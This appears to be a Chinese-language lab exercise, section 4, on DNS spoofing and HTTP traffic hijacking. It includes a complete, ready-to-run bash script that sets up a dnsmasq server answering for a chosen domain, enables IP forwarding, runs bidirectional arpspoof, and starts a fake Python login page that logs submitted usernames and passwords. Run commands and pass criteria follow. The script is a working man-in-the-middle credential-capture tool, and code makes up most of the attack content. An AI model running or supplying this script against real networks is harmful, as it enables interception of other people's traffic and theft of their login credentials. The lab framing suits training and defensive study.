4. DNS欺骗与流量劫持

任务目标

在本地实验环境中,通过ARP欺骗与DNS响应伪造,将目标主机的example.com域名解析指向攻击机IP,并劫持其HTTP明文流量,最终在攻击机侧获取目标提交的敏感信息(如用户名与密码)。

环境与依赖

  • 攻击机:Kali Linux(IP: 192.168.1.100),需安装dnsmasq、arpspoof(来自dsniff包)、tcpdump或wireshark。
  • 靶机:任意Linux/Windows主机(IP: 192.168.1.50),网关为192.168.1.1。
  • 同一二层网络内,关闭靶机及网关的ARP防火墙或静态ARP绑定。

实现原理与步骤

本案例采用双向ARP欺骗使靶机与网关之间的流量经过攻击机,同时运行恶意DNS服务器,对特定域名返回伪造IP。靶机访问该域名时,HTTP请求将发往攻击机上的监听服务,从而捕获明文敏感信息。

  1. 配置恶意DNS服务器:使用dnsmasq仅对目标域名返回攻击机IP,其余域名正常解析。
  2. 开启IP转发:确保攻击机可转发靶机与网关之间的非目标流量。
  3. 执行ARP欺骗:分别欺骗靶机(网关IP映射为攻击机MAC)与网关(靶机IP映射为攻击机MAC)。
  4. 启动HTTP监听:在攻击机80端口启动简易HTTP服务器,记录POST请求中的表单数据。
  5. 验证劫持效果:靶机访问http://example.com/login并提交表单,攻击机侧应看到明文凭据。

关键完整代码

以下为攻击机侧实现完整流程的Shell脚本,包含DNS配置、ARP欺骗与HTTP凭据捕获逻辑:

#!/bin/bash
# dns_hijack.sh - DNS欺骗与HTTP流量劫持演示脚本
# 用法: sudo ./dns_hijack.sh <靶机IP> <网关IP> <攻击机IP> <目标域名>

TARGET_IP="$1"
GATEWAY_IP="$2"
ATTACK_IP="$3"
SPOOF_DOMAIN="$4"

# 1. 配置dnsmasq: 仅将目标域名指向攻击机IP
cat > /tmp/dnsmasq.conf <<EOF
interface=eth0
listen-address=$ATTACK_IP
bind-interfaces
no-resolv
log-queries
address=/$SPOOF_DOMAIN/$ATTACK_IP
server=8.8.8.8
EOF

# 2. 启动dnsmasq
pkill dnsmasq 2>/dev/null; sleep 1
dnsmasq -C /tmp/dnsmasq.conf --no-daemon &
DNS_PID=$!
sleep 2

# 3. 开启IP转发
sysctl -w net.ipv4.ip_forward=1

# 4. 启动HTTP凭据捕获服务(后台)
python3 - <<PY &
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length).decode('utf-8', errors='ignore')
        print(f"[HTTP POST] {self.client_address[0]} - {self.path} - {body}", flush=True)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Login failed (hijacked)")
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"<html><body><h1>Hijacked Server</h1><form method='POST' action='/login'><input name='username'><input type='password' name='password'><button type='submit'>Login</button></form></body></html>")

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
PY
HTTP_PID=$!
sleep 1

# 5. 双向ARP欺骗
echo "[*] 开始ARP欺骗: $TARGET_IP <-> $GATEWAY_IP"
arpspoof -i eth0 -t $TARGET_IP $GATEWAY_IP &
ARP1_PID=$!
arpspoof -i eth0 -t $GATEWAY_IP $TARGET_IP &
ARP2_PID=$!

echo "[*] 劫持已启动. 靶机访问 http://$SPOOF_DOMAIN 即可被引导至攻击机."
echo "[*] 按 Ctrl+C 终止..."
trap "kill $DNS_PID $HTTP_PID $ARP1_PID $ARP2_PID 2>/dev/null; sysctl -w net.ipv4.ip_forward=0" INT
wait

运行与验证

  1. 在攻击机执行:sudo ./dns_hijack.sh 192.168.1.50 192.168.1.1 192.168.1.100 example.com
  2. 在靶机上执行:curl -d "username=admin&password=secret123" http://example.com/login
  3. 观察攻击机终端输出,应出现类似:[HTTP POST] 192.168.1.50 - /login - username=admin&password=secret123

通过条件:攻击机终端成功打印出靶机提交的POST表单明文内容,且靶机收到HTTP响应(非超时)。若靶机无法解析域名,检查dnsmasq是否监听53端口(ss -ulpn | grep :53);若流量未经过攻击机,确认ARP欺骗生效(攻击机上用tcpdump -i eth0 host 192.168.1.50观察数据包)。

常见问题

  • 靶机DNS请求未到达攻击机:确认靶机DNS指向攻击机IP(可在靶机手动设置),或检查防火墙是否放行UDP 53端口。
  • HTTPS流量无法劫持:本案例仅针对HTTP明文流量;HTTPS需要额外部署证书并导入靶机信任链,不在本案例范围内。
  • ARP欺骗不稳定:在真实网络交换环境下可能因端口安全或DAI(动态ARP检测)失效,建议在虚拟化实验环境(如VMware仅主机模式)中验证。